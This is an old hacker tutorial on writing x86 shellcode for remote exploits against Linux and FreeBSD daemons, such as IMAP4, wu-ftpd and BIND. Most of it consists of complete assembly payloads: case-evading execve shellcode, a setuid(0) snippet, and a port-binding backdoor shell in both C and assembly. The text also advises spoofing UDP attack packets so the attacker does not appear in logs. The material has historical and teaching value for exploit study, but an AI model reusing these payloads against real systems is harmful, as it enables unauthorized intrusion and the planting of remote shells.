The Art of Writing Shellcode, by smiler.

Hopefully you are familiar with generic shell-spawning shellcode. If not read Aleph's text "Smashing The Stack For Fun And Profit" before reading further. This article will concentrate on the types of shellcode needed to exploit daemons remotely. Generally it is much harder to exploit remote daemons, because you do not have many ways of finding out the configuration of the remote server. Often the shellcode has to be much more complicated, which is what this article will focus on.

I will start by looking at the ancient IMAP4 exploit. This is a fairly simple exploit. All you need to do is "hide" the /bin/sh" string in shellcode (imapd converts all lowercase characters into uppercase). None of the instructions in the generic shell-spawning shellcode contain lower-case characters, so you all you need do is change the /bin/sh string.

It is the same as normal shellcode, except there is a loop which adds 0x20 to each byte in the "/bin/sh" string. I put in lots of comments so even beginners can understand it. Sorry to all those asm virtuosos :]

```
-----imap.S-------
.globl main
main:
jmp call
start:

popl %ebx /* get address of /bin/sh */
movl %ebx,%ecx  /* copy the address to ecx */
addb $0x6,%cl /* ecx now points to the last character */

loop:
cmpl %ebx,%ecx
jl skip     /* if (ecx<ebx) goto skip */
addb $0x20,(%ecx) /* adds 0x20 to the byte pointed to by %ecx */
decb %cl   /* move the pointer down by one */
jmp loop
skip:

/* generic shell-spawning code */
movl %ebx,0x8(%ebx)
xorl %eax,%eax
movb %eax,0x7(%ebx)
movl %eax,0xc(%ebx)
movb $0xb,%al
leal 0x8(%ebx),%ecx
leal 0xc(%ebx),%edx
int $0x80
xorl %eax,%eax
inc %al
int $0x80
call:
call start
.string "\x0f\x42\x49\x4e\x0f\x53\x48"
--------------
```

This was a very simple variation on the generic shellcode and can be

useful to mask characters that aren't allowed by the protocol the daemon uses. But when coding remote, or even local, exploits you have to be prepared to write code which is much more complex. This usually means writing shellcode that involves different syscalls.
Useful syscalls are:

setuid(): To regain dropped root priviledges (e.g. wu-ftpd)
mkdir()/chdir()/chroot(): To drop back to root directory (e.g. wu-ftpd)
dup2(): To connect a tcp socket to the shell (e.g. BIND&rpc.mountd tcp-style)
open()/write(): To write to /etc/passwd (e.g. everything !)
socket(): To write connectionless shellcode, as explained later.

The actual syscall numbers can be found in <asm/unistd.h>

Most syscalls in linux x86 are done in the same way. The syscall number is put into register %eax, and the arguments are put into %ebx,%ecx and %edx respectively. In some cases, where there are more arguments than registers it may be necessary to store the arguments in user memory and store the address of the arguments in the register. Or, if an argument is a string, you would have to store the string in user memory and pass the address of string as the argument. As before, the syscall is called by "int $0x80".
You can potentially use any syscall, but the ones mentioned above should just about be the only ones you will ever need.

As an example heres a little shellcode snippet from my wu-ftpd exploit that should execute setuid(0).

Note: you should always zero a register before using it.

```
---setuid.S----
.globl main
main:
xorl %ebx,%ebx /* zero the %ebx register, i.e. the 1st argument */
movl %ebx,%eax /* zero out the %eax register */
movb $0x17,%al /* set the syscall number */
int $0x80 /* call the interrupt handler */
---------------
```

Port-Binding Shellcode

When you are exploiting a daemon remotely with generic shellcode, it is necessary to have an active TCP connection to pipe the shell stdin/out/err over. This is applicable to all the remote linux exploits I've seen so far, and is the preferred method.

But it is possible that a new vulnerability may be found, in a daemon that only offers a UDP service (SNMP for example). Or it may only be possible to access the daemon via UDP because the TCP ports are firewalled etc. Current linux remote vulnerabilites are exploitable via UDP - BIND as well as all rpc services run both UDP and TCP services. Also, if you send the exploit via UDP it is trivial to spoof the attacking udp packet so that you do not appear in any logs =)

To exploit daemons via UDP you could write shellcode to modify the password file or to perform some other cunning task, but an interactive shell is much more elite =] Clearly it is not possible to fit a UDP pipe

into shellcode, you still need a TCP connection. So my idea was to write shellcode that behaved like a very rudimentary backdoor, it binds to a port and executes a shell when it receives a connection.

I know for a fact that I wasn't the first one to write this type of shellcode, but no one has officially published it so...here goes.

A basic bindshell program(without the style) looks like this:

```
int main()
{
        char *name[2];
        int fd,fd2,fromlen;
        struct sockaddr_in serv;

        fd=socket(AF_INET,SOCK_STREAM,0);
        serv.sin_addr.s_addr=0;
        serv.sin_port=1234;
        serv.sin_family=AF_INET;
        bind(fd,(struct sockaddr *)&serv,16);
        listen(fd,1);
        fromlen=16; /*(sizeof(struct sockaddr)*/
        fd2=accept(fd,(struct sockaddr *)&serv,&fromlen);
        /* "connect" fd2 to stdin,stdout,stderr */
        dup2(fd2,0);
        dup2(fd2,1);
        dup2(fd2,2);
        name[0]="/bin/sh";
        name[1]=NULL;
        execve(name[0],name,NULL);
}
```

Obviously, this is going to require a lot more space than normal shellcode, but it can be done in under 200 bytes and most buffers are quite a bit larger than that.

There is a slight complication in writing this shellcode as socket syscalls are done slightly differently than other syscalls, under linux. Every socket call has the same syscall number, 0x66. To differentiate between different socket calls, a subcode is put into the register %ebx. These can be found in <linux/net.h>. The important ones being:

```
SYS_SOCKET   1
SYS_BIND     2
SYS_LISTEN   4
SYS_ACCEPT   5
```

We also need to know the values of the constants, and the exact structure of sockaddr_in. Again these are in the linux include files.

```
AF_INET == 2
SOCK_STREAM == 1

struct sockaddr_in {
  short int sin_family; /* 2 byte word, containing AF_INET */
  unsigned short int sin_port; /* 2 byte word, containg the port in network byte
order */
  struct in_addr sin_addr /* 4 byte long, should be zeroed */
```

```
  unsigned char pad[8]; /* should be zero, but doesn't really matter */
};
```

  Since there are only two registers left, the arguments must be placed sequentially in user memory, and %ecx must contain the address of the first. Hence we have to store the arguments at the end of the shellcode. The first 12 bytes will contain the 3 long arguments, the next 16 will contain the sockaddr_in structure and the final 4 will contain fromlen for the accept() call. Finally the result from each syscall is held in %eax.

So, without further ado, here is the portshell warez...

Again I've over-commented everything.

```
----portshell.S----
.globl main
main:

/* I had to put in a "bounce" in the middle of the code as the shellcode
 * was too big. If I had made it jmp the entire shellcode, the instruction
 * would have contained a null byte, so if anyone has a shorter version,
 * please send me it.
 */

jmp bounce
start:
popl %esi

/* socket(2,1,0) */
xorl %eax,%eax
movl %eax,0x8(%esi)  /* 3rd arg == 0 */
movl %eax,0xc(%esi)  /* zero out sock.sin_family&sock.sin_port */
movl %eax,0x10(%esi) /* zero out sock.sin_addr */
incb %al
movl %eax,%ebx       /* socket() subcode == 1 */
movl %eax,0x4(%esi)  /* 2nd arg == 1 */
incb %al
movl %eax,(%esi)     /* 1st arg == 2 */
movw %eax,0xc(%esi)  /* sock.sin_family == 2 */
leal (%esi),%ecx     /* load the address of the arguments into %ecx */
movb $0x66,%al       /* set socket syscall number */
int $0x80

/* bind(fd,&sock,0x10) */
incb %bl             /* bind() subcode == 2 */
movb %al,(%esi)      /* 1st arg == fd (result from socket()) */
movl %ecx,0x4(%esi)  /* copy address of arguments into 2nd arg */
addb $0xc,0x4(%esi)  /* increase it by 12 bytes to point to sockaddr struct */
movb $0x10,0x8(%esi) /* 3rd arg == 0x10 */
movb $0x23,0xe(%esi) /* set sin.port */
movb $0x66,%al       /* no need to set %ecx, it is already set */
int $0x80

/* listen(fd,2) */
movl %ebx,0x4(%esi) /* bind() subcode==2, move this to the 2nd arg */
incb %bl            /* no need to set 1st arg, it is the same as bind() */
incb %bl            /* listen() subcode == 4 */
```

```
movb $0x66,%al      /* again, %ecx is already set */
int $0x80

/* fd2=accept(fd,&sock,&fromlen) */
incb %bl            /* accept() subcode == 5 */
movl %ecx,0x4(%esi) /* copy address of arguments into 2nd arg */
addb $0xc,0x4(%esi) /* increase it by 12 bytes */
movl %ecx,0x4(%esi) /* copy address of arguments into 3rd arg */
addb $0x1c,0x4(%esi) /* increase it by 12+16 bytes */
movb $0x66,%al
int $0x80

/* KLUDGE */
jmp skippy
bounce:
jmp call
skippy:

/* dup2(fd2,0) dup2(fd2,1) dup2(fd2,2) */
movb %al,%bl /* move fd2 to 1st arg */
xorl %ecx,%ecx /* 2nd arg is 0 */
movb $0x3f,%al /* set dup2() syscall number */
int $0x80
incb %cl       /* 2nd arg is 1 */
movb $0x3f,%al
int $0x80
incb %cl       /* 2nd arg is 2 */
movb $0x3f,%al
int $0x80

/* execve("/bin/sh",["/bin/sh"],NULL) */
movl %esi,%ebx
addb $0x20,%ebx /* %ebx now points to "/bin/sh" */
xorl %eax,%eax
movl %ebx,0x8(%ebx)
movb %al,0x7(%ebx)
movl %eax,0xc(%ebx)
movb $0xb,%al
leal 0x8(%ebx),%ecx
leal 0xc(%ebx),%edx
int $0x80
/* exit(0) */
xorl %eax,%eax
movl %eax,%ebx
incb %al
int $0x80
call:
call start
.ascii "abcdabcdabcd""abcdefghabcdefgh""abcd""/bin/sh"
-----------------------------------------------------
```

Once you have sent the exploit, you only need to connect to port 8960, and you have an interactive shell.

----------------[FreeBSD shellcode

  Just in case all of that was all old hat to you, I'll take a little foray into the world of BSD x86 shellcode. FreeBSD shellcode is in most

ways completely different. Primarily because syscalls are done by pushing arguments onto the stack and using a far call. The syscall number still goes in the %eax register however. OpenBSD is much the same but it uses an interrupt for syscalls.

  The main complication in writing shellcode for FreeBSD is in the far call (instruction lcall 7,0) which contains 5 null bytes. Obviously you would need to write some basic self-modifying shellcode. Since this is going to be used in every syscall you make, its best to put this into a mini-function and call it whenever necessary. I wrote a little template for this, it's easy enough to make it execute a shell or bind to a port. Just incase you're wondering the syscall for execve is 0x3b.

```
----fbsd.S----
.globl main
main:
jmp call
start:
/* Modify the ascii string so it becomes lcall 7,0 */
popl %esi
xorl %ebx,%ebx
movl %ebx,0x1(%esi) /* zeroed long word */
movb %bl,0x6(%esi)  /* zeroed byte */
movl %esi,%ebx
addb $0x8,%bl /* ebx points to binsh */
jmp blah /* start the code */

call:
call start
syscall:
.ascii "\x9a\x01\x01\x01\x01\x07\x01" /* hidden lcall 7,0 */
ret
binsh:
.ascii "/bin/sh...."
blah:
/* put shellcode here */
call syscall
```